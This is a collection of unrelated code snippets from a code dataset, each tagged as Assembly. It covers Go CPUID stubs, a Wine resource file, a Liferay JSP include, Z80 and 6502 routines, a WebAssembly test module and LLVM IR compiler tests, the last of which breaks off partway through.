CPUID
MOVL AX, eax+8(FP)
MOVL BX, ebx+12(FP)
MOVL CX, ecx+16(FP)
MOVL DX, edx+20(FP)
RET
// func xgetbv() (eax, edx uint32)
TEXT ·xgetbv(SB),NOSPLIT,$0-8
#ifdef GOOS_nacl
// nacl does not support XGETBV.
MOVL $0, eax+0(FP)
MOVL $0, edx+4(FP)
#else
MOVL $0, CX
WORD $0x010f; BYTE $0xd0 //XGETBV
MOVL AX, eax+0(FP)
MOVL DX, edx+4(FP)
#endif
RET
|
{
"language": "Assembly"
}
|
/*
* Copyright 2007 Jacek Caban for CodeWeavers
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include <windef.h>
LANGUAGE LANG_NEUTRAL, SUBLANG_NEUTRAL
/* @makedep: mshtml_tlb.tlb */
1 TYPELIB mshtml_tlb.tlb
1 WINE_REGISTRY "mshtml_tlb.rgs"
|
{
"language": "Assembly"
}
|
<%--
/**
* Copyright (c) 2000-present Liferay, Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the Free
* Software Foundation; either version 2.1 of the License, or (at your option)
* any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
*/
--%>
<%@ include file="/section/init.jsp" %>
<liferay-util:include page="/admin/common/select_parent.jsp" servletContext="<%= application %>" />
|
{
"language": "Assembly"
}
|
;
; ANSI Video handling for the Sharp X1
; Karl Von Dyson (for X1s.org) - 24/10/2013
; Stefano Bodrato 10/2013
;
; set it up with:
; .__console_w = max columns
; .__console_h = max rows
;
; Display a char in location (__console_y),(__console_x)
; A=char to display
;
;
; $Id: f_ansi_char.asm,v 1.7 2016-07-20 05:45:02 stefano Exp $
;
SECTION code_clib
PUBLIC ansi_CHAR
EXTERN generic_console_printc
EXTERN __console_x
ansi_CHAR:
ld bc,(__console_x)
ld d,a
ld e,0 ;not in raw mode
jp generic_console_printc
|
{
"language": "Assembly"
}
|
.define Sli4
.sect .text
.sect .rom
.sect .data
.sect .bss
.sect .text
! This subroutine shift a signed or unsigned fourbyte integer
! n times left. N is in register X.
Sli4:
cpx #0
beq 9f ! zero shift, return input
lda SP+2 ! the shifting is done on the stack
sta ADDR ! address of integer (lowbyte)
lda SP+1
sta ADDR+1 ! address of integer (highbyte)
2: ldy #0
clc
lda (ADDR),y
rol a
sta (ADDR),y
iny
lda (ADDR),y
rol a
sta (ADDR),y
iny
lda (ADDR),y
rol a
sta (ADDR),y
iny
lda (ADDR),y
rol a
sta (ADDR),y ! shift left
dex
bne 2b
9: rts
|
{
"language": "Assembly"
}
|
(module
(type $i32_=>_i32 (func (param i32) (result i32)))
(type $none_=>_none (func))
(type $i32_=>_none (func (param i32)))
(type $i32_i32_i32_i32_=>_none (func (param i32 i32 i32 i32)))
(type $i32_i32_=>_i32 (func (param i32 i32) (result i32)))
(type $i32_i32_i32_=>_i32 (func (param i32 i32 i32) (result i32)))
(import "env" "abort" (func $~lib/builtins/abort (param i32 i32 i32 i32)))
(memory $0 1)
(data (i32.const 1028) "\01\00\00\00\01")
(data (i32.const 1040) "\02\00\00\00\01\00\00\00\01\00\00\00\02\00\00\00A")
(data (i32.const 1072) "\02\00\00\00\01\00\00\00\01\00\00\00\02\00\00\00B")
(data (i32.const 1104) "(\00\00\00\01\00\00\00\01\00\00\00(\00\00\00c\00l\00a\00s\00s\00-\00o\00v\00e\00r\00l\00o\00a\00d\00i\00n\00g\00.\00t\00s")
(data (i32.const 1168) "\02\00\00\00\01\00\00\00\01\00\00\00\02\00\00\00C")
(data (i32.const 1200) "\02\00\00\00\01\00\00\00\01\00\00\00\02\00\00\00F")
(data (i32.const 1232) "\04\00\00\00\01\00\00\00\01\00\00\00\04\00\00\00I\00B")
(data (i32.const 1264) "\04\00\00\00\01\00\00\00\01\00\00\00\04\00\00\00I\00C")
(global $class-overloading/which (mut i32) (i32.const 1040))
(global $~lib/rt/stub/offset (mut i32) (i32.const 0))
(global $class-overloading/a (mut i32) (i32.const 0))
(global $class-overloading/ia (mut i32) (i32.const 0))
(global $class-overloading/ic (mut i32) (i32.const 0))
(global $~started (mut i32) (i32.const 0))
(export "_start" (func $~start))
(export "memory" (memory $0))
(func $~lib/rt/stub/__alloc (param $0 i32) (result i32)
(local $1 i32)
(local $2 i32)
(local $3 i32)
(local $4 i32)
global.get $~lib/rt/stub/offset
i32.const 16
i32.add
local.tee $3
i32.const 16
i32.add
local.tee $1
memory.size
local.tee $4
i32.const 16
i32.shl
local.tee $2
i32.gt_u
if
local.get $4
local.get $1
local.get $2
i32.sub
i32.const 65535
i32.add
i32.const -65536
i32.and
i32.const 16
i32.shr_u
local.tee $2
local.get $4
local.get $2
i32.gt_s
select
memory.grow
i32.const 0
i32.lt_s
if
local.get $2
memory.grow
i32.const 0
i32.lt_s
if
unreachable
end
end
end
local.get $1
global.set $~lib/rt/stub/offset
local.get $3
i32.const 16
i32.sub
local.tee $1
i32.const 16
i32.store
local.get $1
i32.const 1
i32.store offset=4
local.get $1
local.get $0
i32.store offset=8
local.get $1
i32.const 0
i32.store offset=12
local.get $3
)
(func $class-overloading/B#constructor (param $0 i32) (result i32)
local.get $0
i32.eqz
if
i32.const 4
call $~lib/rt/stub/__alloc
local.set $0
end
local.get $0
if (result i32)
local.get $0
else
i32.const 3
call $~lib/rt/stub/__alloc
end
)
(func $~lib/string/String#get:length (param $0 i32) (result i32)
local.get $0
i32.const 16
i32.sub
i32.load offset=12
i32.const 1
i32.shr_u
)
(func $~lib/util/string/compareImpl (param $0 i32) (param $1 i32) (param $2 i32) (result i32)
(local $3 i32)
(local $4 i32)
local.get $0
i32.const 7
i32.and
local.get $1
i32.const 7
i32.and
i32.or
i32.eqz
i32.const 0
local.get $2
i32.const 4
i32.ge_u
select
if
loop $do-continue|0
local.get $0
i64.load
local.get $1
i64.load
i64.eq
if
local.get $0
i32.const 8
i32.add
local.set $0
local.get $1
i32.const 8
i32.add
local.set $1
local.get $2
i32.const 4
i32.sub
local.tee $2
i32.const 4
i32.ge_u
br_if $do-continue|0
end
end
end
loop $while-continue|1
local.get $2
local.tee $3
i32.const 1
i32.sub
local.set $2
local.get $3
if
local.get $0
i32.load16_u
local.tee $3
local.get $1
i32.load16_u
local.tee $4
i32.ne
if
local.get $3
local.get $4
i32.sub
return
end
local.get $0
i32.const 2
i32.add
local.set $0
local.get $1
i32.const 2
i32.add
local.set $1
br $while-continue|1
end
end
i32.const 0
)
(func $~lib/string/String.__eq (param $0 i32) (param $1 i32) (result i32)
(local $2 i32)
local.get $0
local.get $1
i32.eq
if
i32.const 1
return
end
block $folding-inner0
local.get $1
i32.eqz
i32.const 1
local.get $0
select
br_if $folding-inner0
local.get $0
call $~lib/string/String#get:length
local.tee $2
local.get $1
call $~lib/string/String#get:length
i32.ne
br_if $folding-inner0
local.get $0
local.get $1
local.get $2
call $~lib/util/string/compareImpl
i32.eqz
return
end
i32.const 0
)
(func $class-overloading/C#a<i32>
i32.const 1088
global.set $class-overloading/which
i32.const 1088
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 52
i32.const 5
call $~lib/builtins/abort
unreachable
end
i32.const 1184
global.set $class-overloading/which
)
(func $class-overloading/D#constructor (param $0 i32) (result i32)
local.get $0
if (result i32)
local.get $0
else
i32.const 6
call $~lib/rt/stub/__alloc
end
call $class-overloading/B#constructor
)
(func $class-overloading/E#constructor (param $0 i32) (result i32)
local.get $0
if (result i32)
local.get $0
else
i32.const 7
call $~lib/rt/stub/__alloc
end
call $class-overloading/D#constructor
)
(func $start:class-overloading
i32.const 1296
global.set $~lib/rt/stub/offset
i32.const 0
call $class-overloading/B#constructor
global.set $class-overloading/a
global.get $class-overloading/a
call $class-overloading/A#a<i32>@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 38
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 41
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 44
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 47
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 5
call $~lib/rt/stub/__alloc
call $class-overloading/B#constructor
drop
i32.const 1040
global.set $class-overloading/which
call $class-overloading/C#a<i32>
global.get $class-overloading/which
i32.const 1184
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 71
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
i32.const 1184
global.set $class-overloading/which
i32.const 1184
i32.const 1184
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 74
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
i32.const 1184
global.set $class-overloading/which
i32.const 1184
i32.const 1184
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 77
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1184
global.set $class-overloading/which
i32.const 1184
i32.const 1184
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 79
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 0
call $class-overloading/D#constructor
global.set $class-overloading/a
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#a<i32>@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 89
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 92
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 95
i32.const 1
call $~lib/builtins/abort
unreachable
end
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 97
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 0
call $class-overloading/E#constructor
global.set $class-overloading/a
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#a<i32>@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 107
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 110
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 113
i32.const 1
call $~lib/builtins/abort
unreachable
end
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1088
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 115
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 8
call $~lib/rt/stub/__alloc
call $class-overloading/E#constructor
global.set $class-overloading/a
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#a<i32>@virtual
global.get $class-overloading/which
i32.const 1216
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 137
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1216
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 140
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1216
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 143
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/a
call $class-overloading/A#b@virtual
global.get $class-overloading/which
i32.const 1216
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 146
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 10
call $~lib/rt/stub/__alloc
global.set $class-overloading/ia
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/ia
call $class-overloading/IA#foo@virtual
global.get $class-overloading/which
i32.const 1248
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 162
i32.const 1
call $~lib/builtins/abort
unreachable
end
i32.const 12
call $~lib/rt/stub/__alloc
global.set $class-overloading/ic
i32.const 1040
global.set $class-overloading/which
global.get $class-overloading/ic
call $class-overloading/IA#foo@virtual
global.get $class-overloading/which
i32.const 1280
call $~lib/string/String.__eq
i32.eqz
if
i32.const 0
i32.const 1120
i32.const 177
i32.const 1
call $~lib/builtins/abort
unreachable
end
)
(func $~start
global.get $~started
if
return
else
i32.const 1
global.set $~started
end
call $start:class-overloading
)
(func $class-overloading/A#a<i32>@virtual (param $0 i32)
block $default
block $case2
block $case1
block $case0
local.get $0
i32.const 8
i32.sub
i32.load
local.tee $0
i32.const 4
i32.eq
local.get $0
i32.const 6
i32.eq
i32.or
br_if $case0
block $tablify|0
local.get $0
i32.const 5
i32.sub
br_table $case1 $tablify|0 $case0 $case2 $tablify|0
end
br $default
end
i32.const 1088
global.set $class-overloading/which
return
end
call $class-overloading/C#a<i32>
return
end
i32.const 1216
global.set $class-overloading/which
return
end
i32.const 1056
global.set $class-overloading/which
)
(func $class-overloading/A#b@virtual (param $0 i32)
block $default
block $case2
block $case1
block $case0
local.get $0
i32.const 8
i32.sub
i32.load
local.tee $0
i32.const 4
i32.eq
local.get $0
i32.const 6
i32.eq
i32.or
br_if $case0
block $tablify|0
local.get $0
i32.const 5
i32.sub
br_table $case1 $tablify|0 $case0 $case2 $tablify|0
end
br $default
end
i32.const 1088
global.set $class-overloading/which
return
end
i32.const 1184
global.set $class-overloading/which
return
end
i32.const 1216
global.set $class-overloading/which
return
end
i32.const 1056
global.set $class-overloading/which
)
(func $class-overloading/IA#foo@virtual (param $0 i32)
block $default
block $case1
local.get $0
i32.const 8
i32.sub
i32.load
local.tee $0
i32.const 10
i32.ne
if
local.get $0
i32.const 12
i32.eq
br_if $case1
br $default
end
i32.const 1248
global.set $class-overloading/which
return
end
i32.const 1280
global.set $class-overloading/which
return
end
unreachable
)
)
|
{
"language": "Assembly"
}
|
; RUN: opt -S -wholeprogramdevirt %s | FileCheck %s
target datalayout = "e-p:64:64"
target triple = "x86_64-unknown-linux-gnu"
@vt1 = constant [1 x i8*] [i8* bitcast (i32 (i8*)* @vf1 to i8*)], !type !0
@vt2 = constant [1 x i8*] [i8* bitcast (i32 (i8*)* @vf2 to i8*)], !type !0
define i32 @vf1(i8* %this) readnone {
ret i32 123
}
define i32 @vf2(i8* %this) readnone {
ret i32 123
}
; CHECK: define i32 @call
define i32 @call(i8* %obj) {
%vtableptr = bitcast i8* %obj to [1 x i8*]**
%vtable = load [1 x i8*]*, [1 x i8*]** %vtableptr
%vtablei8 = bitcast [1 x i8*]* %vtable to i8*
%p = call i1 @llvm.type.test(i8* %vtablei8, metadata !"typeid")
call void @llvm.assume(i1 %p)
%fptrptr = getelementptr [1 x i8*], [1 x i8*]* %vtable, i32 0, i32 0
%fptr = load i8*, i8** %fptrptr
%fptr_casted = bitcast i8* %fptr to i32 (i8*)*
%result = call i32 %fptr_casted(i8* %obj)
; CHECK-NOT: call
; CHECK: ret i32 123
ret i32 %result
}
declare i1 @llvm.type.test(i8*, metadata)
declare void @llvm.assume(i1)
!0 = !{i32 0, !"typeid"}
|
{
"language": "Assembly"
}
|
; RUN: llc < %s -mtriple=arm64-apple-ios7.0 -regalloc=greedy -regalloc-csr-first-time-cost=15 | FileCheck %s
; This testing case is reduced from 197.parser prune_match function.
; We make sure that we do not use callee-saved registers (x19 to x25).
; rdar://16162005
; CHECK-LABEL: prune_match:
; CHECK: entry
; CHECK: {{str x30|stp x29, x30}}, [sp
; CHECK-NOT: stp x25,
; CHECK-NOT: stp x23, x24
; CHECK-NOT: stp x21, x22
; CHECK-NOT: stp x19, x20
; CHECK: if.end
; CHECK: return
; CHECK: {{ldr x30|ldp x29, x30}}, [sp
; CHECK-NOT: ldp x19, x20
; CHECK-NOT: ldp x21, x22
; CHECK-NOT: ldp x23, x24
; CHECK-NOT: ldp x25,
%struct.List_o_links_struct = type { i32, i32, i32, %struct.List_o_links_struct* }
%struct.Connector_struct = type { i16, i16, i8, i8, %struct.Connector_struct*, i8* }
%struct._RuneLocale = type { [8 x i8], [32 x i8], i32 (i8*, i64, i8**)*, i32 (i32, i8*, i64, i8**)*, i32, [256 x i32], [256 x i32], [256 x i32], %struct._RuneRange, %struct._RuneRange, %struct._RuneRange, i8*, i32, i32, %struct._RuneCharClass* }
%struct._RuneRange = type { i32, %struct._RuneEntry* }
%struct._RuneEntry = type { i32, i32, i32, i32* }
%struct._RuneCharClass = type { [14 x i8], i32 }
%struct.Exp_struct = type { i8, i8, i8, i8, %union.anon }
%union.anon = type { %struct.E_list_struct* }
%struct.E_list_struct = type { %struct.E_list_struct*, %struct.Exp_struct* }
%struct.domain_struct = type { i8*, i32, %struct.List_o_links_struct*, i32, i32, %struct.d_tree_leaf_struct*, %struct.domain_struct* }
%struct.d_tree_leaf_struct = type { %struct.domain_struct*, i32, %struct.d_tree_leaf_struct* }
@_DefaultRuneLocale = external global %struct._RuneLocale
declare i32 @__maskrune(i32, i64) #7
define fastcc i32 @prune_match(%struct.Connector_struct* nocapture readonly %a, %struct.Connector_struct* nocapture readonly %b) #9 {
entry:
%label56 = bitcast %struct.Connector_struct* %a to i16*
%0 = load i16, i16* %label56, align 2
%label157 = bitcast %struct.Connector_struct* %b to i16*
%1 = load i16, i16* %label157, align 2
%cmp = icmp eq i16 %0, %1
br i1 %cmp, label %if.end, label %return, !prof !988
if.end:
%priority = getelementptr inbounds %struct.Connector_struct, %struct.Connector_struct* %a, i64 0, i32 2
%2 = load i8, i8* %priority, align 1
%priority5 = getelementptr inbounds %struct.Connector_struct, %struct.Connector_struct* %b, i64 0, i32 2
%3 = load i8, i8* %priority5, align 1
%string = getelementptr inbounds %struct.Connector_struct, %struct.Connector_struct* %a, i64 0, i32 5
%4 = load i8*, i8** %string, align 8
%string7 = getelementptr inbounds %struct.Connector_struct, %struct.Connector_struct* %b, i64 0, i32 5
%5 = load i8*, i8** %string7, align 8
br label %while.cond
while.cond:
%lsr.iv27 = phi i64 [ %lsr.iv.next28, %if.end17 ], [ 0, %if.end ]
%scevgep55 = getelementptr i8, i8* %4, i64 %lsr.iv27
%6 = load i8, i8* %scevgep55, align 1
%idxprom.i.i = sext i8 %6 to i64
%isascii.i.i224 = icmp sgt i8 %6, -1
br i1 %isascii.i.i224, label %cond.true.i.i, label %cond.false.i.i, !prof !181
cond.true.i.i:
%arrayidx.i.i = getelementptr inbounds %struct._RuneLocale, %struct._RuneLocale* @_DefaultRuneLocale, i64 0, i32 5, i64 %idxprom.i.i
%7 = load i32, i32* %arrayidx.i.i, align 4
%and.i.i = and i32 %7, 32768
br label %isupper.exit
cond.false.i.i:
%8 = trunc i64 %idxprom.i.i to i8
%conv8 = sext i8 %8 to i32
%call3.i.i = tail call i32 @__maskrune(i32 %conv8, i64 32768) #3
br label %isupper.exit
isupper.exit:
%tobool1.sink.i.in.i = phi i32 [ %and.i.i, %cond.true.i.i ], [ %call3.i.i, %cond.false.i.i ]
%tobool1.sink.i.i = icmp eq i32 %tobool1.sink.i.in.i, 0
br i1 %tobool1.sink.i.i, label %lor.rhs, label %while.body, !prof !989
lor.rhs:
%sunkaddr = ptrtoint i8* %5 to i64
%sunkaddr58 = add i64 %sunkaddr, %lsr.iv27
%sunkaddr59 = inttoptr i64 %sunkaddr58 to i8*
%9 = load i8, i8* %sunkaddr59, align 1
%idxprom.i.i214 = sext i8 %9 to i64
%isascii.i.i213225 = icmp sgt i8 %9, -1
br i1 %isascii.i.i213225, label %cond.true.i.i217, label %cond.false.i.i219, !prof !181
cond.true.i.i217:
%arrayidx.i.i215 = getelementptr inbounds %struct._RuneLocale, %struct._RuneLocale* @_DefaultRuneLocale, i64 0, i32 5, i64 %idxprom.i.i214
%10 = load i32, i32* %arrayidx.i.i215, align 4
%and.i.i216 = and i32 %10, 32768
br label %isupper.exit223
cond.false.i.i219:
%11 = trunc i64 %idxprom.i.i214 to i8
%conv9 = sext i8 %11 to i32
%call3.i.i218 = tail call i32 @__maskrune(i32 %conv9, i64 32768) #3
br label %isupper.exit223
isupper.exit223:
%tobool1.sink.i.in.i220 = phi i32 [ %and.i.i216, %cond.true.i.i217 ], [ %call3.i.i218, %cond.false.i.i219 ]
%tobool1.sink.i.i221 = icmp eq i32 %tobool1.sink.i.in.i220, 0
br i1 %tobool1.sink.i.i221, label %while.end, label %while.body, !prof !990
while.body:
%sunkaddr60 = ptrtoint i8* %4 to i64
%sunkaddr61 = add i64 %sunkaddr60, %lsr.iv27
%sunkaddr62 = inttoptr i64 %sunkaddr61 to i8*
%12 = load i8, i8* %sunkaddr62, align 1
%sunkaddr63 = ptrtoint i8* %5 to i64
%sunkaddr64 = add i64 %sunkaddr63, %lsr.iv27
%sunkaddr65 = inttoptr i64 %sunkaddr64 to i8*
%13 = load i8, i8* %sunkaddr65, align 1
%cmp14 = icmp eq i8 %12, %13
br i1 %cmp14, label %if.end17, label %return, !prof !991
if.end17:
%lsr.iv.next28 = add i64 %lsr.iv27, 1
br label %while.cond
while.end:
%14 = or i8 %3, %2
%15 = icmp eq i8 %14, 0
br i1 %15, label %if.then23, label %if.else88, !prof !992
if.then23:
%sunkaddr66 = ptrtoint %struct.Connector_struct* %a to i64
%sunkaddr67 = add i64 %sunkaddr66, 16
%sunkaddr68 = inttoptr i64 %sunkaddr67 to i8**
%16 = load i8*, i8** %sunkaddr68, align 8
%17 = load i8, i8* %16, align 1
%cmp26 = icmp eq i8 %17, 83
%sunkaddr69 = ptrtoint i8* %4 to i64
%sunkaddr70 = add i64 %sunkaddr69, %lsr.iv27
%sunkaddr71 = inttoptr i64 %sunkaddr70 to i8*
%18 = load i8, i8* %sunkaddr71, align 1
br i1 %cmp26, label %land.lhs.true28, label %while.cond59.preheader, !prof !993
land.lhs.true28:
switch i8 %18, label %land.rhs.preheader [
i8 112, label %land.lhs.true35
i8 0, label %return
], !prof !994
land.lhs.true35:
%sunkaddr72 = ptrtoint i8* %5 to i64
%sunkaddr73 = add i64 %sunkaddr72, %lsr.iv27
%sunkaddr74 = inttoptr i64 %sunkaddr73 to i8*
%19 = load i8, i8* %sunkaddr74, align 1
switch i8 %19, label %land.rhs.preheader [
i8 112, label %land.lhs.true43
], !prof !995
land.lhs.true43:
%20 = ptrtoint i8* %16 to i64
%21 = sub i64 0, %20
%scevgep52 = getelementptr i8, i8* %4, i64 %21
%scevgep53 = getelementptr i8, i8* %scevgep52, i64 %lsr.iv27
%scevgep54 = getelementptr i8, i8* %scevgep53, i64 -1
%cmp45 = icmp eq i8* %scevgep54, null
br i1 %cmp45, label %return, label %lor.lhs.false47, !prof !996
lor.lhs.false47:
%22 = ptrtoint i8* %16 to i64
%23 = sub i64 0, %22
%scevgep47 = getelementptr i8, i8* %4, i64 %23
%scevgep48 = getelementptr i8, i8* %scevgep47, i64 %lsr.iv27
%scevgep49 = getelementptr i8, i8* %scevgep48, i64 -2
%cmp50 = icmp eq i8* %scevgep49, null
br i1 %cmp50, label %land.lhs.true52, label %while.cond59.preheader, !prof !997
land.lhs.true52:
%sunkaddr75 = ptrtoint i8* %4 to i64
%sunkaddr76 = add i64 %sunkaddr75, %lsr.iv27
%sunkaddr77 = add i64 %sunkaddr76, -1
%sunkaddr78 = inttoptr i64 %sunkaddr77 to i8*
%24 = load i8, i8* %sunkaddr78, align 1
%cmp55 = icmp eq i8 %24, 73
%cmp61233 = icmp eq i8 %18, 0
%or.cond265 = or i1 %cmp55, %cmp61233
br i1 %or.cond265, label %return, label %land.rhs.preheader, !prof !998
while.cond59.preheader:
%cmp61233.old = icmp eq i8 %18, 0
br i1 %cmp61233.old, label %return, label %land.rhs.preheader, !prof !999
land.rhs.preheader:
%scevgep33 = getelementptr i8, i8* %5, i64 %lsr.iv27
%scevgep43 = getelementptr i8, i8* %4, i64 %lsr.iv27
br label %land.rhs
land.rhs:
%lsr.iv = phi i64 [ 0, %land.rhs.preheader ], [ %lsr.iv.next, %if.then83 ]
%25 = phi i8 [ %27, %if.then83 ], [ %18, %land.rhs.preheader ]
%scevgep34 = getelementptr i8, i8* %scevgep33, i64 %lsr.iv
%26 = load i8, i8* %scevgep34, align 1
%cmp64 = icmp eq i8 %26, 0
br i1 %cmp64, label %return, label %while.body66, !prof !1000
while.body66:
%cmp68 = icmp eq i8 %25, 42
%cmp72 = icmp eq i8 %26, 42
%or.cond = or i1 %cmp68, %cmp72
br i1 %or.cond, label %if.then83, label %lor.lhs.false74, !prof !1001
lor.lhs.false74:
%cmp77 = icmp ne i8 %25, %26
%cmp81 = icmp eq i8 %25, 94
%or.cond208 = or i1 %cmp77, %cmp81
br i1 %or.cond208, label %return, label %if.then83, !prof !1002
if.then83:
%scevgep44 = getelementptr i8, i8* %scevgep43, i64 %lsr.iv
%scevgep45 = getelementptr i8, i8* %scevgep44, i64 1
%27 = load i8, i8* %scevgep45, align 1
%cmp61 = icmp eq i8 %27, 0
%lsr.iv.next = add i64 %lsr.iv, 1
br i1 %cmp61, label %return, label %land.rhs, !prof !999
if.else88:
%cmp89 = icmp eq i8 %2, 1
%cmp92 = icmp eq i8 %3, 2
%or.cond159 = and i1 %cmp89, %cmp92
br i1 %or.cond159, label %while.cond95.preheader, label %if.else123, !prof !1003
while.cond95.preheader:
%sunkaddr79 = ptrtoint i8* %4 to i64
%sunkaddr80 = add i64 %sunkaddr79, %lsr.iv27
%sunkaddr81 = inttoptr i64 %sunkaddr80 to i8*
%28 = load i8, i8* %sunkaddr81, align 1
%cmp97238 = icmp eq i8 %28, 0
br i1 %cmp97238, label %return, label %land.rhs99.preheader, !prof !1004
land.rhs99.preheader:
%scevgep31 = getelementptr i8, i8* %5, i64 %lsr.iv27
%scevgep40 = getelementptr i8, i8* %4, i64 %lsr.iv27
br label %land.rhs99
land.rhs99:
%lsr.iv17 = phi i64 [ 0, %land.rhs99.preheader ], [ %lsr.iv.next18, %if.then117 ]
%29 = phi i8 [ %31, %if.then117 ], [ %28, %land.rhs99.preheader ]
%scevgep32 = getelementptr i8, i8* %scevgep31, i64 %lsr.iv17
%30 = load i8, i8* %scevgep32, align 1
%cmp101 = icmp eq i8 %30, 0
br i1 %cmp101, label %return, label %while.body104, !prof !1005
while.body104:
%cmp107 = icmp eq i8 %29, %30
%cmp111 = icmp eq i8 %29, 42
%or.cond209 = or i1 %cmp107, %cmp111
%cmp115 = icmp eq i8 %30, 94
%or.cond210 = or i1 %or.cond209, %cmp115
br i1 %or.cond210, label %if.then117, label %return, !prof !1006
if.then117:
%scevgep41 = getelementptr i8, i8* %scevgep40, i64 %lsr.iv17
%scevgep42 = getelementptr i8, i8* %scevgep41, i64 1
%31 = load i8, i8* %scevgep42, align 1
%cmp97 = icmp eq i8 %31, 0
%lsr.iv.next18 = add i64 %lsr.iv17, 1
br i1 %cmp97, label %return, label %land.rhs99, !prof !1004
if.else123:
%cmp124 = icmp eq i8 %3, 1
%cmp127 = icmp eq i8 %2, 2
%or.cond160 = and i1 %cmp124, %cmp127
br i1 %or.cond160, label %while.cond130.preheader, label %return, !prof !1007
while.cond130.preheader:
%sunkaddr82 = ptrtoint i8* %4 to i64
%sunkaddr83 = add i64 %sunkaddr82, %lsr.iv27
%sunkaddr84 = inttoptr i64 %sunkaddr83 to i8*
%32 = load i8, i8* %sunkaddr84, align 1
%cmp132244 = icmp eq i8 %32, 0
br i1 %cmp132244, label %return, label %land.rhs134.preheader, !prof !1008
